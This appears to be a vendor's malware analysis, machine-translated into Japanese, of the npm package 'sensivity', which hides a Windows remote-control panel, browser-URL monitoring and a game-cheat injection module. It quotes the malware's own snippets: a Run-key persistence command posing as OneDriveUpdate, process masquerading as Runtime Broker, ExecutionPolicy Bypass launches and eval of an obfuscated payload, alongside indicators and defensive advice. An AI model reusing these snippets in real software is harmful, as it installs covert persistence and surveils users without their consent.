PairLoop: npmパッケージ内の隠しリモートコントロールパネル

PairLoop:1つのnpmパッケージ、70のバージョン、そして隠されたWindowsリモートコントロールパネル

TL; DR

npmパッケージ 感度 自らを「感度制御パネル」と称している。Windows上では、リモートコントロールおよび監視ツールとして機能する。

その入り口、 launcher.js自身のプロセスをRuntime Brokerに名前変更し、自動起動Runキー値を書き込みます。 OneDriveUpdate 隠しVBScriptを介してパッケージを再起動し、PowerShellを起動します -ExecutionPolicy Bypassそして、171 KB の難読化されたサーバーペイロードと 6.87 MB のネイティブモジュールを並べて評価します。 sens.node.

これはTCPポート3000で電話ペアリング制御パネルを提供し、Windows UIAutomationを介してアクティブなブラウザのアドレスバーのURLを読み取り、ハードコードされたYouTube動画を監視します。

以前はブラックボックスとして残されていた2つの部分が解決されました。難読化されたサーバー、 server.obf.jsobfuscator.io の RC4 文字列配列スキームを使用し、デコーダをオフラインで再実装(JavaScript は実行されない)すると、単一の外部エンドポイントが復元されます。 https://izopi.com/check.php 署名済みのライセンス応答を検証するために使用される、埋め込み型のRSA公開鍵も含まれています。

ネイティブモジュール、 sens.nodeはパックされていません。インポート テーブルと埋め込み文字列は、リモート プロセス インジェクションとメモリの読み書きによって駆動される、エイムボット、ESP (ウォール ハック)、およびトリガーボット機能を提供する DirectX 11 / Dear ImGui イン ゲーム オーバーレイであることを識別します。

その中の文字列は、GTA V / FiveMに準拠した車両エンティティとマップ上の位置を参照します。npmパッケージは、そのネイティブモジュールをラップし、配信と永続化を行うためのものです。

決定的な兆候は技術的なものではなく、運用上のものだ。匿名の出版社が1つのパッケージの約70バージョンを配布したのだ。 2.5.0から2.5.69 ――数日間にわたり、それぞれ同じ発射装置を携えて。

インストールはありません hooksペイロードは、パッケージが起動されたときにのみ実行されます。

攻撃:その仕組み

sensivity には 10 個のファイルが同梱されています。package.json は簡素で、リポジトリ フィールドもライセンスもなく、main と 2 つの bin エイリアス (sensivity、sens) がすべて launcher.js を指しており、起動スクリプトは node launcher.js です。postinstall や preinstall はありません。npm install では何も実行されません。以下に説明する動作は、ユーザーがパッケージを起動したとき (bin shim、起動スクリプト、または require を介して) に実行されます。

tarballには、ランチャー、難読化されたサーバー、ネイティブモジュール、Visual Basicスクリプト、およびコントロールパネル用のpublic/webディレクトリが含まれています。launcher.jsは読みやすいオーケストレーターであり、実行時に重要なロジックは、それがロードする2つのブロブ(難読化されたサーバーとコンパイル済みのネイティブモジュール)に存在し、どちらも以下で解決されます。

 プロセスなりすましと偽のOneDriveアップデーター

実行の初期段階で、launcher.js は自身のプロセス名を 2 回設定します。

   javascript process.title = 'Runtime Broker'; 

Runtime Brokerは、アプリケーションのアクセス許可を仲介する正規のWindowsプロセス(RuntimeBroker.exe)です。Nodeプロセスの名前をRuntime Brokerの名前に合わせることで、タスクマネージャーをざっと見ただけでは異常は見られません。

永続化処理は、レジストリAPIを直接使用するのではなく、PowerShellを介して記述されます。

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

自動起動の値は OneDriveUpdate という名前で、パッケージ自体を直接指しているわけではありません。バンドルされている OneDrive.Standalone.Updater.vbs を実行する wscript.exe を指しています。このスクリプトは、非表示のウィンドウで node launcher.js を再起動します。実行キー名と VBScript ファイル名はどちらも Microsoft のブランド名を使用しているため、自動起動エントリは通常の OneDrive タスクのように見えます。

実行ポリシーをバイパスしたPowerShell

ランチャーは繰り返しPowerShellを起動します。スキャナーが重大な問題として検出するのは、実行ポリシーが無効になっている状態で生成された.ps1ファイルを起動することです。

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypassを有効にすると、その呼び出しにおけるローカルスクリプト署名チェックが無効になります。生成されたスクリプトは、次のセクションで説明するブラウザ監視とウィンドウ検出の処理を行います。

難読化されたサーバーとネイティブモジュール

セットアップ後、launcher.js が実際のペイロードをロードして実行します。

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js は 171 KB の _0x 配列難読化ファイルです。これは、すべての文字列と識別子をシャッフルされた配列のインデックスに置き換え、実行時に参照解除する JavaScript パターンです。このスキームは obfuscator.io によって生成された RC4 バリアントです。単一のデコーダー関数が配列エントリを base64 デコードし、呼び出しごとのキーを使用して RC4 で復号します。このデコーダーを別のスクリプトで再実装し、抽出された 821 エントリの文字列配列に対してのみ再実装を実行し、パッケージ独自の JavaScript は決して実行しないことで、きれいに展開されます。表面化するのは控えめですが、cisive: LICENSE_URL 定数に割り当てられた 1 つの外部 URL、https://izopi.com/check.php`。埋め込み RSA PUBLIC_KEY_PEM`。ローカル パネル ルート /api/kill、/api/qr.png、/api/trigger、/api/url、/trigger/off、および /trigger/status。文字列 child_process、crypto、および [Sensivity] sens.node loaded — 最後の文字列は、ランチャーがプログラム モジュール ロードに書き換える正確なログ行です。エンドポイントはライセンス チェックです。クライアントは識別子を送信し (難読化されたサーバーは Discord ID: %s 文字列をフォーマットします)、RSA キーがサーバーの署名付き応答を検証します。

sens.node は 6.87 MB のコンパイル済みネイティブ アドオンで、パックされていません。セクション エントロピーは 5.6~6.6 で、PE インポートおよびエクスポート テーブルはそのままなので、その機能は直接読み取ることができます。napi_register_module_v1 をエクスポートします。 standard Node N-API のエントリ ポイントなので、評価済みのサーバーは、単純な require でこれをロードします。インポート テーブルがそれを表します。KERNEL32 からは、OpenProcess、VirtualAllocEx、WriteProcessMemory、ReadProcessMemory、CreateRemoteThread、K32EnumProcessModules、および Process32First/NextW (別のプロセスを見つけて、その内部にメモリを割り当て、そのメモリを読み書きするための標準的なセット) を取得します。USER32 からは、GetAsyncKeyState、GetKeyState、mouse_event、および SetCursorPos を取得します。画面上のオーバーレイ用に d3d11.dll、D3DCOMPILER_43、および dwmapi をリンクし、ネットワーク呼び出し用に WINHTTP セット全体をリンクします。埋め込まれた文字列には、機能セットが明確に示されています。エイムボットの有効化、エイムボットの視野角、ボックスESP、スケルトンESP、トリガーボット、ESPビルダー、車両ESP、Electronアンチチート検出、およびDear ImGuiバナー「Dear ImGui 1.91.3 WIP」などです。グレープシード医療クリニックや車両ESPの語彙などの場所とエンティティの文字列は、GTA V / FiveMと一致しています。

この分割は意図的な効果を生む。読みやすい launcher.js には、スキャナが容易に読み取れる部分(永続化、なりすまし、eval 呼び出し自体)のみが含まれる一方、難読化によってランタイムが接続する外部ホストが隠蔽され、バイナリにはゲームオーバーレイとプロセスインジェクションのロジックが格納される。ランチャーは薄く監査可能なシェルであり、難読化されたサーバーはネットワーク ID を隠蔽し、ネイティブモジュールはペイロードである。バイナリのインポートと文字列は読み取ったものとして記述し、それらからオペレータの目的を推測することはない。

 ポート3000上の電話ペアリング制御パネル

ランチャーはTCPポート3000でローカルWebサーバーを管理し、それをシングルトンとして扱います。既存のリスナーを照会し、バインドする前にそれをクリアします。

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

パネルには http://localhost:3000 でアクセスでき、LAN フォールバック URL は http://192.168.1.16:3000 にハードコードされています。public/ ディレクトリとパネルの動作は、QR ペアリング フローと一致しています。つまり、スマートフォンがコードをスキャンしてリモートとしてホストにバインドします。ランチャーには外部コマンド アンド コントロール ドメインが平文で表示されませんが、上記の難読化解除で示されているように、難読化されたサーバーには izopi.com ライセンス エンドポイントが存在します。パネル自体はローカルで LAN スコープです。唯一のアウトバウンド ホストは、このライセンス チェックです。

独立したスーパーバイザー/ワーカーモデルにより、プロセスはアクティブな状態を維持します。ランチャーはSENSIVITY_SUPERVISORおよびSENSIVITY_WORKER環境フラグを使用して自身を再起動するため、各子プロセスは非表示で実行されます。そのため、1つのプロセスを終了しても、ウォッチドッグがそれを再起動します。

ブラウザ監視とYouTubeシグナル

最も具体的な動作はブラウザの監視です。launcher.jsは、実行中のブラウザのアドレスバーを読み取るためにWindows UIAutomationを駆動するPowerShellスクリプトを作成します。

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePatternはUI要素のテキストコンテンツを返します。ブラウザのアドレスバー編集コントロールに適用すると、ブラウザ拡張機能やディスク上のプロファイルへのアクセス、APIフックを使用せずに、被害者が現在表示しているURLを返します。生成されたスクリプトは、$browserNamesリストを反復処理し、フォアグラウンドにあるブラウザのURLまたはウィンドウタイトルを抽出します。

そのURLは、ハードコードされた単一のターゲットに対してテストされます。

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

ランチャーは3秒間隔でYouTubeが表示されているブラウザウィンドウをポーリングし、生成されたPowerShellスクリプトには、その動画IDに一致するGet-YouTubeBrowser / Test-TargetYouTubeUrlコマンドペアが含まれています。目に見える効果は2つあります。被害者の画面からアクティブなブラウザURLが読み取られ、ホストが特定のYouTube動画を操作したことが検出されます。ここではその仕組みとターゲットについて説明しますが、そこから動機を推測するものではありません。

アドレスバーから読み取られるデータは、スキャナがsensitive_data_enumerationと名付けたもので、ネットワーク対応ランタイムにデータを供給するProcess::envおよびUIAutomationソースです。単体で見ると無害に見えますが、UIAutomationソースから難読化されたサーバーまでデータライフサイクルを追跡して初めて監視行為であることが判明します。

タイムラインとバージョン進化

感度は一度アップロードすれば済むものではありません。パブリッシャーのアカウントには、この単一パッケージの公開バージョンが約70個あり、レビュー期間中も新しいバージョンが次々と届きました。ランチャーは2.5.x系で機能ごとに拡張されていますが、永続性とペイロードの読み込みは固定されています。

日付(UTC) 観測されたバージョン ランチャーの状態
2026-06-02 2.5.82.5.46 (25) 基本QRパネルランチャー、実行キーの永続化、難読化サーバーの評価。
2026-06-03 2.5.532.5.61 (6) 同じ指紋。コンソールトレースの抑制。
2026-06-04 2.5.67, 2.5.68 (2) 固定されたYouTubeエンゲージメントターゲットを追加 wJWta2lO0Lw.
2026-06-05 2.5.02.5.69 (24) あらゆる範囲にわたる不足部分を補う再出版。監督者と労働者の監視役。

ダウンロードした代表バージョン (2.5.0、2.5.36、2.5.69) でランチャーを読み解くと、4 つの階層があることがわかります。最も初期のビルドには、基本となる QR ペアリング ランチャーが含まれています。2.5.33 からは、UIAutomation アドレス バー ハーベスターが登場します。2.5.58 からは、スーパーバイザー管理レイヤーが追加されます。2.5.64 からは、分離型スーパーバイザー/ワーカー ウォッチドッグがセットを完成させます。全体を通して、4 つの要素は変わりません。OneDriveUpdate 実行キー、OneDrive.Standalone.Updater.vbs ドロッパー、評価済みの server.obf.js、および sens.node ネイティブ モジュールです。

2026年06月05日のリリースは、数日前に確認されたバージョンよりも低いバージョン番号(2.5.0から2.5.15まで)を再公開した点で注目に値する。その結果、レジストリ上には2.5.xという連続した行ができ、どのバージョンにも同じランチャーが搭載されている。

妥協の指標

以下のすべての指標は、パッケージのtarballから直接読み取ったものです。読み取り可能なランチャーには、ループバックアドレスと単一のプライベートLANアドレスのみが含まれています。唯一の外部ホスト名であるizopi.comは、server.obf.jsをオフラインで難読化解除することにより取得されました。

タイプ インジケータ Notes
パッケージ npm:sensivity (約70バージョン、 2.5.02.5.69) 単一パッケージの発行元。リポジトリなし。ライセンスなし。
File launcher.js 読みやすいオーケストレーター。メインターゲットとビンターゲット。
File server.obf.js (約171KB) obfuscator.io RC4 文字列配列ペイロード、以下からロード eval(fs.readFileSync(...)).
File sens.node (約6.87MB) PE32+ x86-64 Node N-API アドオン; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
File OneDrive.Standalone.Updater.vbs 隠しリランチャー(node launcher.js).
ネットワーク https://izopi.com/check.php 難読化されたサーバーからライセンス/認証エンドポイントを復元。埋め込まれたRSA公開鍵で応答を検証。
機能 OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread リモートプロセスへの注入機能およびメモリの読み書き機能。
機能 Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui対応のゲームオーバーレイで、エイムボット、ESP、トリガーボット機能を実装。
レジストリ HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate 自動起動値は以下を指しています wscript.exe そしてVBScriptランチャー。
プロセス process.title = 'Runtime Broker' 正規のWindowsランタイムブローカープロセスを装う。
行動の powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 生成されたPowerShellスクリプトに対して、実行ポリシーのバイパスが使用されています。
行動の UIAutomation ValuePattern ブラウザのアドレスバーの読み取り フォアグラウンドのブラウザウィンドウのURLを読み取ります。
行動の ターゲットビデオID wJWta2lO0Lw3秒間のYouTubeアンケート 固定されたエンゲージメント監視信号。
ネットワーク http://localhost:3000、 後退する http://192.168.1.16:3000 QRコードペアリング制御パネルは、ローカルネットワーク上およびLAN上で公開されている。
環境 SENSIVITY_SUPERVISOR, SENSIVITY_WORKER 分離型監視プロセス調整フラグ。

帰属、影響、そして擁護者

このパッケージは、未確認のGmailアドレスをメールアドレスとして記載している単一のnpmアカウントによって公開されています。このアカウントはレジストリの評価が非常に低く、このパッケージのみを管理・公開しており、ソースリポジトリへのリンクもありません。メールアドレスの所有権は確認されておらず、このキャンペーンは特定の個人ではなく、パブリッシャーアカウントによるものだと考えています。ランチャーには平文のインフラストラクチャは含まれていませんが、外部ホストは1つ判明しています。難読化されたサーバーはライセンスチェックのためにizopi.comに接続し、ネイティブモジュールは(命令を逆順に読み取るのではなく、インポートテーブルと文字列から読み取られます)、別のプロセスのメモリに注入して読み取るゲームオーバーレイです。

目に見える影響は、コントロールパネルユーティリティとしてSensivityをインストールして実行するWindowsユーザーに現れます。これらのホストでは、パッケージはOneDriveタスクを装って自動起動の永続性を確立し、システムプロセスを模倣するように名前を変更し、ユーザーが閲覧しているURLを読み取り、ローカルネットワーク経由でマシンをリモートマシンにバインドするペアリングパネルを起動します。スーパーバイザー/ワーカー監視機能により、単一のプロセスを強制終了しても削除されず、Runキーのエントリは再起動後も残ります。macOSとLinuxはランチャーの対象ではありません。永続性、PowerShell、およびUIAutomationのパスはWindows専用です。

70バージョンもの頻繁な更新は、注目すべき傾向です。数日のうちに1つのパッケージを数十回も再公開し、既に削除されたバージョン番号よりも前のバージョン番号をバックフィルすることで、削除されるまでの間、レジストリ上にアクティブなコピーが残り、バージョン固定のブロックリストが機能しなくなります。sensivity@2.5.61 のブロックリストエントリは、翌日に再公開された sensivity@2.5.3 に対しては何の効果もありません。

弁護側は以下の事項に基づいて行動することができる。

  • レジストリプロキシとCIの許可リストでパッケージ名の機密性を完全にブロックしてください。個々のバージョンを固定すると、再公開の頻度に負けてしまいます。名前こそが永続的な指標です。
  • OneDriveUpdateという名前の実行値を探し、そのデータに基づいて、ユーザーごとのパスにある.vbsファイルに対してwscript.exeを実行するようにしてください。正規のOneDriveアップデーターは、このような方法では登録されません。
  • process.titleがRuntime BrokerであるNode.jsプロセスについて警告します。実際のブローカーはRuntimeBroker.exeであり、Nodeランタイムではありません。
  • npm のインストール時に、コンパイル済みの .node アドオンと、同種の .obf.js ファイルの eval(fs.readFileSync(…)) を同梱するパッケージがフェッチされるというフラグが立てられます。この組み合わせ、つまり難読化されたテキスト ペイロードの隣にロードされる不透明なネイティブ バイナリは、文字列 IOC とは無関係に、構造的な手がかりとなります。
  • 管理対象のWindowsエンドポイントにおいて、予期しないNodeプロセスによってポート3000で生成されたローカル接続リスナーはすべて疑わしいものとして扱ってください。
  • 開発者ホストまたはエンドユーザーホストからizopi.comへの送信リクエストをブロックまたは警告します。これはパッケージの唯一の外部エンドポイントであり、難読化されたサーバーから/check.phpにアクセスすることでアクセスできます。
  • バンドルされている .node アドオンについては、信頼する前にインポート テーブルを必ず確認してください。OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread の組み合わせは、パッケージが何を主張していようとも、リモート プロセス インジェクションです。ここでは、Direct3D オーバーレイやエイムボット/ESP/トリガーボットの文字列と並んで配置されています。

静的解析の場合 pipelineつまり、確信の形はバージョン変更後も持続します。非ネットワークインストールプロファイル、既知のシステムプロセス名へのプロセスタイトルの割り当て、PowerShell を介した実行キーによる書き込み、ディスクから読み取ったファイルの評価などです。これらはいずれも、ドメイン、IP アドレス、または次回の再公開で変更される可能性のあるバージョン番号に依存しません。

 参考情報

[npm: 感度] – ここで議論されているパッケージバージョンのレジストリページ。削除の対象となります。

sca-tools-ソフトウェア構成分析ツール
ソフトウェアのリスクを優先順位付けし、修復し、保護する
無料アカウントを作成しましょう。
いいえ、クレジットカードは必要ありません。

ソフトウェア開発と納品を安全に

Xygeni製品スイートと共に